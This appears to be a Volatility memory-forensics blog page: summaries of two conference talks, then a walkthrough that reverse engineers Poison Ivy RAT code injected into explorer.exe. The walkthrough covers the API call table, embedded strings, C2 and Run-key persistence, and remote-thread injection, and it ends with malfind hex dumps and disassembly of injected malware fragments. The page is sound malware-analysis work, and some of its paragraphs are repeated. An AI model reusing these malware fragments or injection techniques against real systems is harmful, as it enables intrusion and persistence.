There are few people in the world who know more about physical memory acquisition and analysis than Mr. Garner; President of GMG Systems, Inc. and author of KnTTools. At a rare conference appearance, George discussed how he leverages the PFN database to attribute pages of physical memory to owning processes and drivers. This OMFW talk was enlightening, as George shared stories of tracking single UDP packets between hosts in China, his experiences single-stepping through the Windows kernel, and how he tracked a TDI object with an NTFS pool tag in deallocated memory.
Author/Presenter: George M. Garner Jr. (GMG Systems, Inc.)
Direct Link: Mining the PFN Database for Malware Artifacts
Friday, October 19, 2012
OMFW 2012: The Analysis of Process Token Privileges
Reverse engineering windows systems nowadays involves looking at static data, such as executables, symbols, pdbs, and/or dynamic data when debugging with a tool like windbg. Determining data structures and the meaning of their content has proven to be time consuming, especially when dealing with undocumented objects. This presentation tackles the problem by describing a novel approach, which utilizes the Volatility Framework and F-response to monitor changes taking place on a live system’s RAM that appear as a result of manipulating the targeted structures’ content. The technique is used in the discovery of the process privileges on Windows operating systems and the development of a new plugin. The presentation also provides examples of how the new plugin is used to discover malicious activity.
Author/Presenter: Cem Gurkok
Direct Link: The Analysis of Process Token Privileges
Author/Presenter: Cem Gurkok
Direct Link: The Analysis of Process Token Privileges
Tuesday, October 16, 2012
Reverse Engineering Poison Ivy's Injected Code Fragments
This is an addendum to GrrCon Network Forensics Challenge with Volatility. In the initial post we covered the basics - the what, the when, and the how. We found strings in memory, such as the mutex name, the registry Run key, and the svchosts.exe file name; then we backed up the findings by tracking the mutex to its owning process, verifying the Run key was created by looking in the cached registry hive, and checking the svchosts.exe file existed by scanning for MFT records in memory. This is all pretty solid, but from a malware analysis perspective - code or it didn't happen! In this post we'll dig even deeper and find the exact instructions that reference the strings. Only then will we have complete closure and reassurance. To do this, we'll write a custom Volatility plugin to reassemble Poison Ivy's fragmented code injection model, bypass the anti-disasm tricks, and label imported functions even in the absence of a PE header and Import Address Table (IAT).
Fragmented Code Injection
In the original post we briefly mentioned that malfind identified 20+ different memory segments in explorer.exe (pid 1096) that contained injected code. Why so many, you may ask? Malware like Zeus, Carberp, Cridex, Shylock and many others allocate a single segment large enough to hold everything (the code, strings, function call tables, etc). Its easy to locate, extract, and analyze.
The fact that Poison Ivy spreads itself across more than two dozen small memory segments definitely does not make it more stealthy (now there are 20+ suspicious memory regions instead of just one), but it does make reversing/analysis more challenging. Instead of dumping one memory segment, you have to dump all 20+ of them and then figure out how they fit together - like a big jigsaw puzzle. The image below shows a comparison of how a typical injection resides in process memory compared to that of Poison Ivy.
Here's the full output from malfind on this memory sample. As you can see from the disassemblies, most of the segments start with instructions like PUSH EBX or PUSH EBP - these are individual functions that Poison Ivy disperses throughout explorer.exe's memory.
Resolving the API Functions
If you have a good eye, you'll notice at least one injected segment that doesn't look anything like the others. Specifically, the disassembly of the segment at 0x1310000 does not make sense:
Luckily, malfind provides a hex dump preview of the memory as well. What you see is this:
There's an obvious pattern among the data. If its not as obvious to you as it was to me when I saw it, skip the first byte (00) and format the data as 32-bit integers using volshell:
See it now!? It looks like an array of memory addresses, all landing in the 7XXXXXXX range, which is typically where you find system DLLs on Windows XP (remember this is before ASLR). Even though Poison Ivy leaves no trace of a PE header and thus no IAT, you've just identified the call table used by the malware to find API functions it needs at run time. After dynamically resolving the APIs (via GetProcAddress or manually parsing a DLL's EAT), the addresses are saved into this table.
Now we call out to the impscan plugin and use its enum_apis() function. This parses the Export Address Table (EAT) of all DLLs and returns a dictionary of API information. The keys to the dictionary are addresses within explorer.exe where the API functions start. The values are tuples of the containing DLL and function name.
Next we will read all the addresses in the call table starting at 0x1310001 into an array. Looking at the original dd output, the first address should be 0x71ab4211, so you can double check by printing the first element in the array:
Finally, we can iterate over all addresses in the array and check if the apis dictionary has a key that matches. If so, we print the dictionary's values.
As you can see, Poison Ivy uses APIs for networking (send, recv, gethostbyname, etc), for launching external processes (CreateProcessA), and modifying and querying the registry (for persistence with the Run key). It also includes CallNextHookEx (typically used in conjunction with SetWindowsHookEx which you may remember from MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem), ToAscii, and GetKeyboardState - all likely components of the keylogger; however as we noticed in the original post, that functionality of the RAT was disabled. There are various other clues you can gain from this, such as SetFileTime (timestomping), and VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread for the code injection.
Embedded Strings and Unconditional CALLs
The offsets we printed to the left of the API names are relative to the call table base (0x1310000). These are the values you would see being used in disassembles of the code. For example, CALL DWORD PTR [EDI + 91] would be a call to SetFileTime. And this is one way you can proceed with reverse engineering the RAT's functionality even though its split across 20+ memory segments in explorer.exe and there is no PE header or IAT. Let's apply this knowledge to one of the memory segments that contains executable instructions:
Now that we've applied labels to the calls, the purpose of the function in this memory segment is easily understood. It is the function that creates the mutex and then returns if the mutex already existed or not; otherwise it goes on to load the ws2_32 (winsock2) library. Here's what you know based on the above disassembly:
The trick of "hiding" strings by embedding them between executable instructions is not new. Greg Hoglund discussed it in his "Detecting APT Attackers In Memory" post (and obviously Poison Ivy has been doing it for years). In the post, Poison Ivy wasn't identified by name, the term "APT" was dropped about 12 times, and you can tell based on similarities in the code that it was definitely Poison Ivy.
Reverse Engineering the Code
If Hex-Rays Decompiler worked on code fragments in physical memory, that would be awesome...but it doesn't. So we are left with the task of manually reversing code if we want to understand how it looks at a higher level language. The example function we displayed above, with partial structures, can be seen below:
Not bad for a start, right? The Poison Ivy functions are spread across multiple memory segments, strings are interspersed with code, and the API call table is in yet another segment. But its still possible to reverse engineer and figure out what each function does when you put the pieces together.
Automating the Solution
To help automate the task of labeling API calls throughout the different memory segments, pulling out the embedded strings, and things of that nature, we built a new Volatility plugin called pivydasm. We use the distorm3 stream disassembler, just like many other existing plugins. However, we had to handle some special cases. Instead of doing a simple linear scan through the code blocks (since there are anti-disassembling tricks), we had to use additional checks to make sure the results were correct.
Basic usage:
$ python vol.py -f memory.img pivydasm --pid=1096 --output=html --output-file=report.html
Here's a brief description of how the plugin works:
So you can make a few conclusions from the screen shot:
If you examine the subroutine immediately following the fake instructions (at 0x012900a2), it is a loop around func_GetProcAddressByCRC32. The first parameter to the function is a handle to the ws2_32.dll library. The second parameter (PUSH DWORD [EDI]) is a pointer that increments by 6 (ADD EDI, 6) each iteration of the loop; until the four bytes pointed to by EDI are all zero. You may notice the last four bytes in the strike-out region are 00 00 00 00. Also, due to the CALL/POP sequence, EDI points to the first byte in the strike-out region at the time the loop begins. So its not an ASCII string in those bytes at all, its a series of checksums!
In the next screen shot, you can see where the command and control communications take place. The func_Send_Receive function is just a wrapper around the ws2_32.send and ws2_32.recv calls. Notice the Cemellia key schedule is referenced before calling the encryption and decryption routines:
In the next screen shot, you can see the registry Run key we noticed in the original forensic analysis. This string is also embedded between executable code blocks. After referencing the string, it calls RegOpenKeyExA, RegSetValueExA, and RegCloseKey.
The final screen shot shows the few functions involved in code injection to other processes. From top to bottom, you see a CALL DWORD [ESI + 0xd1] which goes to 0x01990000 (the function in the middle). At that location, the well-known combination of VirtualAllocEx and WriteProcessMemory allocates memory and transfers data to the remote process. Then CreateRemoteThread is called to execute code at offset 0x0197000 (func_Extra). The function you see in the bottom that calls CreateToolhelp32Snapshot, Process32First, and lstrcmpiA is how the malware finds a process by name (i.e. it maps "explorer.exe" to its process ID).
Visualizing Relationships
Since Volatility can render data in various formats, we added a Graphviz .dot style rendering function to the pivydasm plugin. It can be called like this:
$ python vol.py -f memory.img pivydasm --pid=1096 --output=dot --output-file=graph.dot
You can click (or download) and enlarge the image below. It basically shows the relationship among injected code fragments and how they call each other. To lend some context to the graph, all labels displayed in the HTML disassembly were ported to the graph nodes.
Conclusion
Volatility is more than just a memory forensics framework. Its a malware analysis tool with unparalleled visibility and power. In this post, we took an hour or so and produced a plugin that can do more than certain products that vendors sell for $10,000+. It reconstructs code fragments that the PoisonIvy RAT disperses into more than two dozen small allocations throughout process memory, puts them in context, and allows you to attribute the artifacts we saw in the original forensic analysis to exact code instructions that produced them. Code or it didn't happen? Oh, it definitely happened!
Fragmented Code Injection
In the original post we briefly mentioned that malfind identified 20+ different memory segments in explorer.exe (pid 1096) that contained injected code. Why so many, you may ask? Malware like Zeus, Carberp, Cridex, Shylock and many others allocate a single segment large enough to hold everything (the code, strings, function call tables, etc). Its easy to locate, extract, and analyze.
The fact that Poison Ivy spreads itself across more than two dozen small memory segments definitely does not make it more stealthy (now there are 20+ suspicious memory regions instead of just one), but it does make reversing/analysis more challenging. Instead of dumping one memory segment, you have to dump all 20+ of them and then figure out how they fit together - like a big jigsaw puzzle. The image below shows a comparison of how a typical injection resides in process memory compared to that of Poison Ivy.
$ python vol.py -f memory.img -p 1096 malfind
Volatile Systems Volatility Framework 2.3_alpha
Process: explorer.exe Pid: 1096 Address: 0x1c70000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01c70000 53 56 8b c8 8b 99 b4 08 00 00 8b 73 34 8b ca 33 SV.........s4..3
0x01c70010 db 89 19 33 db 89 59 04 33 db 89 59 08 33 db 89 ...3..Y.3..Y.3..
0x01c70020 59 0c 33 c9 ff 96 d4 01 00 00 5e 5b c3 00 00 00 Y.3.......^[....
0x01c70030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x1c70000 53 PUSH EBX
0x1c70001 56 PUSH ESI
0x1c70002 8bc8 MOV ECX, EAX
0x1c70004 8b99b4080000 MOV EBX, [ECX+0x8b4]
0x1c7000a 8b7334 MOV ESI, [EBX+0x34]
0x1c7000d 8bca MOV ECX, EDX
0x1c7000f 33db XOR EBX, EBX
0x1c70011 8919 MOV [ECX], EBX
0x1c70013 33db XOR EBX, EBX
0x1c70015 895904 MOV [ECX+0x4], EBX
0x1c70018 33db XOR EBX, EBX
0x1c7001a 895908 MOV [ECX+0x8], EBX
0x1c7001d 33db XOR EBX, EBX
0x1c7001f 89590c MOV [ECX+0xc], EBX
0x1c70022 33c9 XOR ECX, ECX
0x1c70024 ff96d4010000 CALL DWORD [ESI+0x1d4]
0x1c7002a 5e POP ESI
0x1c7002b 5b POP EBX
0x1c7002c c3 RET
0x1c7002d 0000 ADD [EAX], AL
0x1c7002f 0000 ADD [EAX], AL
0x1c70031 0000 ADD [EAX], AL
0x1c70033 0000 ADD [EAX], AL
0x1c70035 0000 ADD [EAX], AL
0x1c70037 0000 ADD [EAX], AL
0x1c70039 0000 ADD [EAX], AL
0x1c7003b 0000 ADD [EAX], AL
0x1c7003d 0000 ADD [EAX], AL
0x1c7003f 00 DB 0x0
Process: explorer.exe Pid: 1096 Address: 0x1bc0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01bc0000 55 8b ec 50 b8 10 00 00 00 81 c4 04 f0 ff ff 50 U..P...........P
0x01bc0010 48 75 f6 8b 45 fc 81 c4 48 fe ff ff 53 56 57 8b Hu..E...H...SVW.
0x01bc0020 45 08 89 45 bc 8b 45 bc 8b 80 b4 08 00 00 8b f8 E..E..E.........
0x01bc0030 8b 40 34 89 45 b8 8b 45 b8 8b 80 24 03 00 00 89 .@4.E..E...$....
0x1bc0000 55 PUSH EBP
0x1bc0001 8bec MOV EBP, ESP
0x1bc0003 50 PUSH EAX
0x1bc0004 b810000000 MOV EAX, 0x10
0x1bc0009 81c404f0ffff ADD ESP, 0xfffff004
0x1bc000f 50 PUSH EAX
0x1bc0010 48 DEC EAX
0x1bc0011 75f6 JNZ 0x1bc0009
0x1bc0013 8b45fc MOV EAX, [EBP+0xfffffffc]
0x1bc0016 81c448feffff ADD ESP, 0xfffffe48
0x1bc001c 53 PUSH EBX
0x1bc001d 56 PUSH ESI
0x1bc001e 57 PUSH EDI
0x1bc001f 8b4508 MOV EAX, [EBP+0x8]
0x1bc0022 8945bc MOV [EBP+0xffffffbc], EAX
0x1bc0025 8b45bc MOV EAX, [EBP+0xffffffbc]
0x1bc0028 8b80b4080000 MOV EAX, [EAX+0x8b4]
0x1bc002e 8bf8 MOV EDI, EAX
0x1bc0030 8b4034 MOV EAX, [EAX+0x34]
0x1bc0033 8945b8 MOV [EBP+0xffffffb8], EAX
0x1bc0036 8b45b8 MOV EAX, [EBP+0xffffffb8]
0x1bc0039 8b8024030000 MOV EAX, [EAX+0x324]
0x1bc003f 89 DB 0x89
Process: explorer.exe Pid: 1096 Address: 0x19a0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x019a0000 55 8b ec 81 c4 d4 fe ff ff 56 8b 75 08 6a 00 6a U........V.u.j.j
0x019a0010 02 ff 96 b9 00 00 00 89 85 d4 fe ff ff c7 85 d8 ................
0x019a0020 fe ff ff 28 01 00 00 8d 8d d8 fe ff ff 51 ff b5 ...(.........Q..
0x019a0030 d4 fe ff ff ff 96 bd 00 00 00 eb 47 ff 75 0c 8d ...........G.u..
0x19a0000 55 PUSH EBP
0x19a0001 8bec MOV EBP, ESP
0x19a0003 81c4d4feffff ADD ESP, 0xfffffed4
0x19a0009 56 PUSH ESI
0x19a000a 8b7508 MOV ESI, [EBP+0x8]
0x19a000d 6a00 PUSH 0x0
0x19a000f 6a02 PUSH 0x2
0x19a0011 ff96b9000000 CALL DWORD [ESI+0xb9]
0x19a0017 8985d4feffff MOV [EBP+0xfffffed4], EAX
0x19a001d c785d8feffff28010000 MOV DWORD [EBP+0xfffffed8], 0x128
0x19a0027 8d8dd8feffff LEA ECX, [EBP+0xfffffed8]
0x19a002d 51 PUSH ECX
0x19a002e ffb5d4feffff PUSH DWORD [EBP+0xfffffed4]
0x19a0034 ff96bd000000 CALL DWORD [ESI+0xbd]
0x19a003a eb47 JMP 0x19a0083
0x19a003c ff750c PUSH DWORD [EBP+0xc]
0x19a003f 8d DB 0x8d
Process: explorer.exe Pid: 1096 Address: 0x1290000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01290000 55 8b ec 81 c4 30 fa ff ff 8b 75 08 8d 86 fb 03 U....0....u.....
0x01290010 00 00 50 6a 00 6a 00 ff 96 85 00 00 00 89 86 c5 ..Pj.j..........
0x01290020 08 00 00 ff 96 89 00 00 00 3d b7 00 00 00 75 04 .........=....u.
0x01290030 c9 c2 04 00 56 8d 86 6b 09 00 00 50 8d 86 45 01 ....V..k...P..E.
0x1290000 55 PUSH EBP
0x1290001 8bec MOV EBP, ESP
0x1290003 81c430faffff ADD ESP, 0xfffffa30
0x1290009 8b7508 MOV ESI, [EBP+0x8]
0x129000c 8d86fb030000 LEA EAX, [ESI+0x3fb]
0x1290012 50 PUSH EAX
0x1290013 6a00 PUSH 0x0
0x1290015 6a00 PUSH 0x0
0x1290017 ff9685000000 CALL DWORD [ESI+0x85]
0x129001d 8986c5080000 MOV [ESI+0x8c5], EAX
0x1290023 ff9689000000 CALL DWORD [ESI+0x89]
0x1290029 3db7000000 CMP EAX, 0xb7
0x129002e 7504 JNZ 0x1290034
0x1290030 c9 LEAVE
0x1290031 c20400 RET 0x4
0x1290034 56 PUSH ESI
0x1290035 8d866b090000 LEA EAX, [ESI+0x96b]
0x129003b 50 PUSH EAX
0x129003c 8d DB 0x8d
0x129003d 864501 XCHG [EBP+0x1], AL
Process: explorer.exe Pid: 1096 Address: 0x1300000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01300000 55 8b ec 81 c4 30 fa ff ff 8b 75 08 8d 86 fb 03 U....0....u.....
0x01300010 00 00 50 6a 00 6a 00 ff 96 85 00 00 00 89 86 c5 ..Pj.j..........
0x01300020 08 00 00 ff 96 89 00 00 00 3d b7 00 00 00 75 04 .........=....u.
0x01300030 c9 c2 04 00 56 8d 86 6b 09 00 00 50 8d 86 45 01 ....V..k...P..E.
0x1300000 55 PUSH EBP
0x1300001 8bec MOV EBP, ESP
0x1300003 81c430faffff ADD ESP, 0xfffffa30
0x1300009 8b7508 MOV ESI, [EBP+0x8]
0x130000c 8d86fb030000 LEA EAX, [ESI+0x3fb]
0x1300012 50 PUSH EAX
0x1300013 6a00 PUSH 0x0
0x1300015 6a00 PUSH 0x0
0x1300017 ff9685000000 CALL DWORD [ESI+0x85]
0x130001d 8986c5080000 MOV [ESI+0x8c5], EAX
0x1300023 ff9689000000 CALL DWORD [ESI+0x89]
0x1300029 3db7000000 CMP EAX, 0xb7
0x130002e 7504 JNZ 0x1300034
0x1300030 c9 LEAVE
0x1300031 c20400 RET 0x4
0x1300034 56 PUSH ESI
0x1300035 8d866b090000 LEA EAX, [ESI+0x96b]
0x130003b 50 PUSH EAX
0x130003c 8d DB 0x8d
0x130003d 864501 XCHG [EBP+0x1], AL
Process: explorer.exe Pid: 1096 Address: 0x1310000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01310000 00 11 42 ab 71 07 4a ab 71 2b 3e ab 71 27 4c ab ..B.q.J.q+>.q'L.
0x01310010 71 6f 67 ab 71 53 2e ab 71 e1 2e ab 71 55 53 ab qog.qS..q...qUS.
0x01310020 71 e1 9a 80 7c 74 9b 80 7c c7 06 81 7c 6b 23 80 q...|t..|...|k#.
0x01310030 7c 17 6c dd 77 42 78 dd 77 ab 7a dd 77 d7 ea dd |.l.wBx.w.z.w...
0x1310000 0011 ADD [ECX], DL
0x1310002 42 INC EDX
0x1310003 ab STOSD
0x1310004 7107 JNO 0x131000d
0x1310006 4a DEC EDX
0x1310007 ab STOSD
0x1310008 712b JNO 0x1310035
0x131000a 3eab STOSD
0x131000c 7127 JNO 0x1310035
0x131000e 4c DEC ESP
0x131000f ab STOSD
0x1310010 716f JNO 0x1310081
0x1310012 67ab STOS [ES:DI], EAX
0x1310014 7153 JNO 0x1310069
0x1310016 2eab STOSD
0x1310018 71e1 JNO 0x130fffb
0x131001a 2eab STOSD
0x131001c 7155 JNO 0x1310073
0x131001e 53 PUSH EBX
0x131001f ab STOSD
0x1310020 71e1 JNO 0x1310003
0x1310022 9a807c749b807c CALL FAR 0x7c80:0x9b747c80
0x1310029 c706817c6b23 MOV DWORD [ESI], 0x236b7c81
0x131002f 807c176cdd CMP BYTE [EDI+EDX+0x6c], 0xdd
0x1310034 7742 JA 0x1310078
0x1310036 78dd JS 0x1310015
0x1310038 77ab JA 0x130ffe5
0x131003a 7add JP 0x1310019
0x131003c 77d7 JA 0x1310015
0x131003e ea DB 0xea
0x131003f dd DB 0xdd
Process: explorer.exe Pid: 1096 Address: 0x1320000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 2, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01320000 55 8b ec 50 b8 10 00 00 00 81 c4 04 f0 ff ff 50 U..P...........P
0x01320010 48 75 f6 8b 45 fc 83 c4 b8 53 56 57 8b 75 08 33 Hu..E....SVW.u.3
0x01320020 c0 89 86 b9 08 00 00 33 c0 89 45 e4 68 4d 4b 58 .......3..E.hMKX
0x01320030 5a 8b 86 db 0a 00 00 50 8b 86 e1 00 00 00 50 ff Z......P......P.
0x1320000 55 PUSH EBP
0x1320001 8bec MOV EBP, ESP
0x1320003 50 PUSH EAX
0x1320004 b810000000 MOV EAX, 0x10
0x1320009 81c404f0ffff ADD ESP, 0xfffff004
0x132000f 50 PUSH EAX
0x1320010 48 DEC EAX
0x1320011 75f6 JNZ 0x1320009
0x1320013 8b45fc MOV EAX, [EBP+0xfffffffc]
0x1320016 83c4b8 ADD ESP, -0x48
0x1320019 53 PUSH EBX
0x132001a 56 PUSH ESI
0x132001b 57 PUSH EDI
0x132001c 8b7508 MOV ESI, [EBP+0x8]
0x132001f 33c0 XOR EAX, EAX
0x1320021 8986b9080000 MOV [ESI+0x8b9], EAX
0x1320027 33c0 XOR EAX, EAX
0x1320029 8945e4 MOV [EBP+0xffffffe4], EAX
0x132002c 684d4b585a PUSH DWORD 0x5a584b4d
0x1320031 8b86db0a0000 MOV EAX, [ESI+0xadb]
0x1320037 50 PUSH EAX
0x1320038 8b86e1000000 MOV EAX, [ESI+0xe1]
0x132003e 50 PUSH EAX
0x132003f ff DB 0xff
Process: explorer.exe Pid: 1096 Address: 0x1330000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01330000 e8 00 00 00 40 b3 0f 00 ff ff ff ff 00 00 00 00 ....@...........
0x01330010 00 00 00 00 00 00 00 00 00 00 00 00 18 b3 0f 00 ................
0x01330020 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x01330030 00 00 00 00 00 00 a2 01 00 00 00 00 01 00 00 00 ................
0x1330000 e800000040 CALL 0x41330005
0x1330005 b30f MOV BL, 0xf
0x1330007 00ff ADD BH, BH
0x1330009 ff DB 0xff
0x133000a ff DB 0xff
0x133000b ff00 INC DWORD [EAX]
0x133000d 0000 ADD [EAX], AL
0x133000f 0000 ADD [EAX], AL
0x1330011 0000 ADD [EAX], AL
0x1330013 0000 ADD [EAX], AL
0x1330015 0000 ADD [EAX], AL
0x1330017 0000 ADD [EAX], AL
0x1330019 0000 ADD [EAX], AL
0x133001b 0018 ADD [EAX], BL
0x133001d b30f MOV BL, 0xf
0x133001f 00ff ADD BH, BH
0x1330021 ff DB 0xff
0x1330022 ff DB 0xff
0x1330023 ff00 INC DWORD [EAX]
0x1330025 0000 ADD [EAX], AL
0x1330027 0000 ADD [EAX], AL
0x1330029 0000 ADD [EAX], AL
0x133002b 0000 ADD [EAX], AL
0x133002d 0000 ADD [EAX], AL
0x133002f 0000 ADD [EAX], AL
0x1330031 0000 ADD [EAX], AL
0x1330033 0000 ADD [EAX], AL
0x1330035 00a201000000 ADD [EDX+0x1], AH
0x133003b 0001 ADD [ECX], AL
0x133003d 0000 ADD [EAX], AL
0x133003f 00 DB 0x0
Process: explorer.exe Pid: 1096 Address: 0x1410000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01410000 55 8b ec 83 c4 fc 8b 75 08 68 ff 00 00 00 8d be U......u.h......
0x01410010 13 0d 00 00 57 ff 96 ad 00 00 00 e8 2e 00 00 00 ....W...........
0x01410020 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f SOFTWARE\Microso
0x01410030 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 ft\Windows\Curre
0x1410000 55 PUSH EBP
0x1410001 8bec MOV EBP, ESP
0x1410003 83c4fc ADD ESP, -0x4
0x1410006 8b7508 MOV ESI, [EBP+0x8]
0x1410009 68ff000000 PUSH DWORD 0xff
0x141000e 8dbe130d0000 LEA EDI, [ESI+0xd13]
0x1410014 57 PUSH EDI
0x1410015 ff96ad000000 CALL DWORD [ESI+0xad]
0x141001b e82e000000 CALL 0x141004e
0x1410020 53 PUSH EBX
0x1410021 4f DEC EDI
0x1410022 46 INC ESI
0x1410023 54 PUSH ESP
0x1410024 57 PUSH EDI
0x1410025 41 INC ECX
0x1410026 52 PUSH EDX
0x1410027 45 INC EBP
0x1410028 5c POP ESP
0x1410029 4d DEC EBP
0x141002a 6963726f736f66 IMUL ESP, [EBX+0x72], 0x666f736f
0x1410031 745c JZ 0x141008f
0x1410033 57 PUSH EDI
0x1410034 696e646f77735c IMUL EBP, [ESI+0x64], 0x5c73776f
0x141003b 43 INC EBX
0x141003c 7572 JNZ 0x14100b0
0x141003e 7265 JB 0x14100a5
Process: explorer.exe Pid: 1096 Address: 0x1970000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01970000 55 8b ec 8b 75 08 80 be f7 03 00 00 00 7e 07 56 U...u........~.V
0x01970010 ff 96 00 0d 00 00 80 be f8 03 00 00 01 75 30 b8 .............u0.
0x01970020 01 00 00 00 80 be f7 03 00 00 00 7e 14 8d be b1 ...........~....
0x01970030 06 00 00 57 8d be b2 05 00 00 57 ff 96 cd 00 00 ...W......W.....
0x1970000 55 PUSH EBP
0x1970001 8bec MOV EBP, ESP
0x1970003 8b7508 MOV ESI, [EBP+0x8]
0x1970006 80bef703000000 CMP BYTE [ESI+0x3f7], 0x0
0x197000d 7e07 JLE 0x1970016
0x197000f 56 PUSH ESI
0x1970010 ff96000d0000 CALL DWORD [ESI+0xd00]
0x1970016 80bef803000001 CMP BYTE [ESI+0x3f8], 0x1
0x197001d 7530 JNZ 0x197004f
0x197001f b801000000 MOV EAX, 0x1
0x1970024 80bef703000000 CMP BYTE [ESI+0x3f7], 0x0
0x197002b 7e14 JLE 0x1970041
0x197002d 8dbeb1060000 LEA EDI, [ESI+0x6b1]
0x1970033 57 PUSH EDI
0x1970034 8dbeb2050000 LEA EDI, [ESI+0x5b2]
0x197003a 57 PUSH EDI
0x197003b ff DB 0xff
0x197003c 96 XCHG ESI, EAX
0x197003d cd00 INT 0x0
0x197003f 00 DB 0x0
Process: explorer.exe Pid: 1096 Address: 0x1980000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01980000 55 8b ec 81 c4 7c f0 ff ff 8b 75 08 68 74 0f 00 U....|....u.ht..
0x01980010 00 56 8d bd 8c f0 ff ff 57 ff 96 a9 00 00 00 c7 .V......W.......
0x01980020 85 7c f0 ff ff 00 00 00 00 83 85 7c f0 ff ff 01 .|.........|....
0x01980030 ff b5 7c f0 ff ff e8 0d 00 00 00 65 78 70 6c 6f ..|........explo
0x1980000 55 PUSH EBP
0x1980001 8bec MOV EBP, ESP
0x1980003 81c47cf0ffff ADD ESP, 0xfffff07c
0x1980009 8b7508 MOV ESI, [EBP+0x8]
0x198000c 68740f0000 PUSH DWORD 0xf74
0x1980011 56 PUSH ESI
0x1980012 8dbd8cf0ffff LEA EDI, [EBP+0xfffff08c]
0x1980018 57 PUSH EDI
0x1980019 ff96a9000000 CALL DWORD [ESI+0xa9]
0x198001f c7857cf0ffff00000000 MOV DWORD [EBP+0xfffff07c], 0x0
0x1980029 83857cf0ffff01 ADD DWORD [EBP+0xfffff07c], 0x1
0x1980030 ffb57cf0ffff PUSH DWORD [EBP+0xfffff07c]
0x1980036 e80d000000 CALL 0x1980048
0x198003b 657870 JS 0x19800ae
0x198003e 6c INS [ES:EDI], DX
0x198003f 6f OUTS DX, [ESI]
Process: explorer.exe Pid: 1096 Address: 0x1990000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01990000 55 8b ec 83 c4 fc 57 56 8b 75 08 6a 40 68 00 30 U.....WV.u.j@h.0
0x01990010 00 00 ff 75 10 6a 00 ff 75 0c ff 96 b1 00 00 00 ...u.j..u.......
0x01990020 50 8d 7d fc 57 ff 75 10 ff 75 14 50 ff 75 0c ff P.}.W.u..u.P.u..
0x01990030 96 b5 00 00 00 58 5e 5f c9 c2 10 00 00 00 00 00 .....X^_........
0x1990000 55 PUSH EBP
0x1990001 8bec MOV EBP, ESP
0x1990003 83c4fc ADD ESP, -0x4
0x1990006 57 PUSH EDI
0x1990007 56 PUSH ESI
0x1990008 8b7508 MOV ESI, [EBP+0x8]
0x199000b 6a40 PUSH 0x40
0x199000d 6800300000 PUSH DWORD 0x3000
0x1990012 ff7510 PUSH DWORD [EBP+0x10]
0x1990015 6a00 PUSH 0x0
0x1990017 ff750c PUSH DWORD [EBP+0xc]
0x199001a ff96b1000000 CALL DWORD [ESI+0xb1]
0x1990020 50 PUSH EAX
0x1990021 8d7dfc LEA EDI, [EBP+0xfffffffc]
0x1990024 57 PUSH EDI
0x1990025 ff7510 PUSH DWORD [EBP+0x10]
0x1990028 ff7514 PUSH DWORD [EBP+0x14]
0x199002b 50 PUSH EAX
0x199002c ff750c PUSH DWORD [EBP+0xc]
0x199002f ff96b5000000 CALL DWORD [ESI+0xb5]
0x1990035 58 POP EAX
0x1990036 5e POP ESI
0x1990037 5f POP EDI
0x1990038 c9 LEAVE
0x1990039 c21000 RET 0x10
0x199003c 0000 ADD [EAX], AL
0x199003e 0000 ADD [EAX], AL
Process: explorer.exe Pid: 1096 Address: 0x19c0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x019c0000 55 8b ec 83 c4 f0 8b 75 08 8d be b1 06 00 00 68 U......u.......h
0x019c0010 ff 00 00 00 57 ff 96 ad 00 00 00 80 be af 08 00 ....W...........
0x019c0020 00 01 75 31 80 be f7 03 00 00 01 75 07 68 74 82 ..u1.......u.ht.
0x019c0030 24 fe eb 05 68 ce e7 3a 59 ff b6 bb 0a 00 00 ff $...h..:Y.......
0x19c0000 55 PUSH EBP
0x19c0001 8bec MOV EBP, ESP
0x19c0003 83c4f0 ADD ESP, -0x10
0x19c0006 8b7508 MOV ESI, [EBP+0x8]
0x19c0009 8dbeb1060000 LEA EDI, [ESI+0x6b1]
0x19c000f 68ff000000 PUSH DWORD 0xff
0x19c0014 57 PUSH EDI
0x19c0015 ff96ad000000 CALL DWORD [ESI+0xad]
0x19c001b 80beaf08000001 CMP BYTE [ESI+0x8af], 0x1
0x19c0022 7531 JNZ 0x19c0055
0x19c0024 80bef703000001 CMP BYTE [ESI+0x3f7], 0x1
0x19c002b 7507 JNZ 0x19c0034
0x19c002d 68748224fe PUSH DWORD 0xfe248274
